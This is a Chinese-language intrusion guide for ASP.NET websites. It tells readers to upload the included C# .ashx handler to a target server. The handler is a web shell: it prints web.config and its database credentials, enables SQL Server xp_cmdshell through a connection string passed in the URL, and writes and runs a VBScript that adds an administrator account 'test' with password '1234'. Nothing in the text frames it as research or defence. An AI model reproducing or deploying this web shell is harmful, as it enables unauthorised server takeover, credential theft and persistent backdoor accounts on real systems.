ASP.NET网站入侵思路

想办法把下面的代码保存为xxx.ashx文件，然后上传到对方服务器，然后通过url访问即可看到 web.config

<%@ WebHandler Language="C#" Class="TextLd" %> 
using System; 
using System.Collections.Generic; 
using System.Linq; 
using System.Web; 
using System.Data.SqlClient; 
 
    public class TextLd : IHttpHandler 
    { 
        public void CreateLocalUser(string newPath) 
        { 
            System.Diagnostics.Process.Start(@"d:\1.vbs"); 
            System.IO.File.WriteAllText(@"d:\1.vbs", "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\""); 
        } 
        public void ShowWebConfig(HttpContext context) 
        { 
            context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); 
        } 
        public void WriteVbs(HttpContext context) 
        { 
            System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\""); 
        } 
        public void ExecuteSql(string connection, string sql) 
        { 
            using (SqlConnection con = new SqlConnection(connection)) 
            { 
                using (SqlCommand commd = new SqlCommand(sql, con)) 
                { 
                    con.Open(); 
                    commd.ExecuteNonQuery(); 
                    con.Close(); 
                } 
            } 
        } 
        public void ProcessRequest(HttpContext context) 
        { 
            context.Response.ContentType = "text/plain"; 
            context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); 
            try 
            { 
                var connection = context.Request.QueryString["connection"]; 
                switch (context.Request.QueryString["method"]) 
                { 
                    case "1": WriteVbs(context); break; 
                    case "2": 
                        ExecuteSql(connection,@"sp_configure 'show advanced options',1  reconfigure"); 
                        ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell 
                        break; 
                    case "3": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'"); 
                        break; 
                    default: 
                        ShowWebConfig(context); 
                        break; 
                } 
            } 
            catch (Exception ex) 
            { 
                context.Response.Write(ex.Message); 
            } 
            context.Response.End(); 
        } 
        public bool IsReusable 
        { 
            get 
            { 
                return false; 
            } 
        } 
    }